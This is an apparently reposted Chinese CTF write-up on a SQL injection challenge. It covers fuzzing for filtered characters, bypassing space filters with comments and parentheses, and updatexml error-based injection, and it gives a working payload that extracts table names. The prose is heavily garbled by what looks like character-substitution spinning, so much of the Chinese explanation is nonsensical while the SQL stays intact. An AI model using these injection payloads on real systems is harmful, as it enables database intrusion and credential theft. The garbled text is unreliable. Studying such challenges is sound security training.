|
|
<
1ndex
0x00 媒介
a.sql注进fuzzing
碰着sql注进题时,为尽快确认过滤列,可做一个fuzzing_test
留意一次收太多包会429,恰当调理引擎
能够看到736皆是被过滤的
比力枢纽的空格战union皆被过滤了
a.常睹的绕过空格
1.正文 /**/ (明显此处是止欠亨的)
/**/去标识表记标帜正文的内乱容。好比SQL查询:
select user() from dual
我们用正文交换空格,就能够变成:
select/**/user()/**/from/**/dual
2.正在MySQL中,括号是用去包围子查询的。因而,任何能够计较出成果的语句,皆能够用括号包围起去。而括号的两头,能够出有过剩的空格。
括号绕过空格的办法,正在time based盲注中,是屡试没有爽的。
eg:
select user() from dual where 1=1 and 2=2
察看到user()能够算值,那末user()双方要减括号,变成:
select(user())from dual where 1=1 and 2=2;
持续,1=1战2=2能够算值,也减括号,来空格,变成:
select(user())from dual where(1=1)and(2=2)
援用
https://blog.csdn.net/acsuccess/article/details/69360931
b.updatexml报错注进
那边留意到union被过滤了
温习一下
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target: 需求操作的xml片断
xpath_expr: 需求更新的xml途径(Xpath格局)
new_xml: 更新后的内乱容
此函数用去更新选定XML片断的内乱容,将XML标识表记标帜的给定片断的单个部门交换为 xml_target 新的XML片断 new_xml ,然后返回变动的XML。xml_target交换的部门 取xpath_expr 用户供给的XPath表达式婚配。
假如xpath_expr已找到表达式婚配 ,大概找到多个婚配项,则该函数返回本初 xml_targetXML片断。一切三个参数皆该当是字符串。
看一下dl真操
- mysql> SELECT
- -> UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
- -> UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
- -> UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
- -> UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
- -> UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
- -> \G
- ***********成果**************
- val1: <e>fff</e>
- val2: <a><b>ccc</b><d></d></a>
- val3: <a><e>fff</e><d></d></a>
- val4: <a><b>ccc</b><e>fff</e></a>
- val5: <a><d></d><b>ccc</b><d></d></a>
复造代码 当Xpath途径语法毛病时,便会报错
以是实在第一个参数战第三个参数其实不主要,枢纽是利用第两个参数语法毛病举办查询
报错内乱容露有毛病的途径内乱容:
当地真操
- mysql> show columns from users;
- +--------------+-------------+------+-----+-------------------+-----------------------------+
- | Field | Type | Null | Key | Default | Extra |
- +--------------+-------------+------+-----+-------------------+-----------------------------+
- | user_id | int(6) | NO | PRI | 0 | |
- | first_name | varchar(15) | YES | | NULL | |
- | last_name | varchar(15) | YES | | NULL | |
- | user | varchar(15) | YES | | NULL | |
- | password | varchar(32) | YES | | NULL | |
- | avatar | varchar(70) | YES | | NULL | |
- | last_login | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
- | failed_login | int(3) | YES | | NULL | |
- +--------------+-------------+------+-----+-------------------+-----------------------------+
- 8 rows in set (0.02 sec)
- mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
- ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'
复造代码 留意内乱部举办括号的包裹
援用,dl讲的十分细,包罗extractvalue的解说
https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html
0x01 开整
raw
留意value部门必然要url编码以后再传
假如是正在页里输进框或url地点栏中提交会主动url编码
但经由过程hackbar便要您脚动编码了
至于为何要url编码
实在我之前皆出有出格存眷那个,然后特地找了一下
但那必然是许多一开端进修的人疏忽的一面!
https://cloud.tencent.com/developer/article/1458887
database:geek
接下去便是一般思绪了
留意=被过滤能够用like恍惚查询
password='or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))#
table: H4rDsq1
column: id,username,password
到那边尬住了,看了一下dl_wp明白正在不外滤的状况下能够用mid战substring
然后那边right从右边截与
后往复瞅了一下sqli-labs的条记发明那边我仍是记了面的,但出怎样在乎便给记了
done 补齐
参考dl_wp
https://blog.csdn.net/qq_51652864/article/details/115740086
0x02 rethink
头几天不断挨偶奇异怪的角逐&&摸鱼了几天招致刷题耽搁了,检验一下⑧
闭于注进中林林总总的骚姿式皆没有是平空念出去的,而是成立正在踏实的根底之上,以是别念着一口吻吃成一个瘦子
之前做注进出有fuzz的风俗,像过滤空格这类是我出念到的,当前留意一下
免责声明:假如进犯了您的权益,请联络站少,我们会实时删除侵权内乱容,感谢协作! |
1、本网站属于个人的非赢利性网站,转载的文章遵循原作者的版权声明,如果原文没有版权声明,按照目前互联网开放的原则,我们将在不通知作者的情况下,转载文章;如果原文明确注明“禁止转载”,我们一定不会转载。如果我们转载的文章不符合作者的版权声明或者作者不想让我们转载您的文章的话,请您发送邮箱:Cdnjson@163.com提供相关证明,我们将积极配合您!
2、本网站转载文章仅为传播更多信息之目的,凡在本网站出现的信息,均仅供参考。本网站将尽力确保所提供信息的准确性及可靠性,但不保证信息的正确性和完整性,且不对因信息的不正确或遗漏导致的任何损失或损害承担责任。
3、任何透过本网站网页而链接及得到的资讯、产品及服务,本网站概不负责,亦不负任何法律责任。
4、本网站所刊发、转载的文章,其版权均归原作者所有,如其他媒体、网站或个人从本网下载使用,请在转载有关文章时务必尊重该文章的著作权,保留本网注明的“稿件来源”,并自负版权等法律责任。
|